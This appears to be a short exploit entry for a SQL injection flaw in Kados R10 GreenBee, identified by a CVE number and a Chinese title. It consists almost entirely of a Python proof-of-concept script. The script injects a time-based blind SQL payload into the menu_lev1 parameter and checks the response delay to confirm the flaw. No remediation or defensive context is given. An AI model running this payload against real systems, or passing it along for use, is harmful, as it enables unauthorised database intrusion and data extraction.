CVE-2019-25688 Kados R10 GreenBee SQL注入漏洞

import requests # Target URL containing the vulnerable endpoint target_url = "http://example.com/vulnerable_page.php" # Malicious payload to inject SQL via menu_lev1 parameter # This payload attempts to bypass logic or extract data (e.g., time-based blind) payload = "1' AND SLEEP(5)-- -" params = { "menu_lev1": payload } try: response = requests.get(target_url, params=params, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via timing delay.") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error during request: {e}")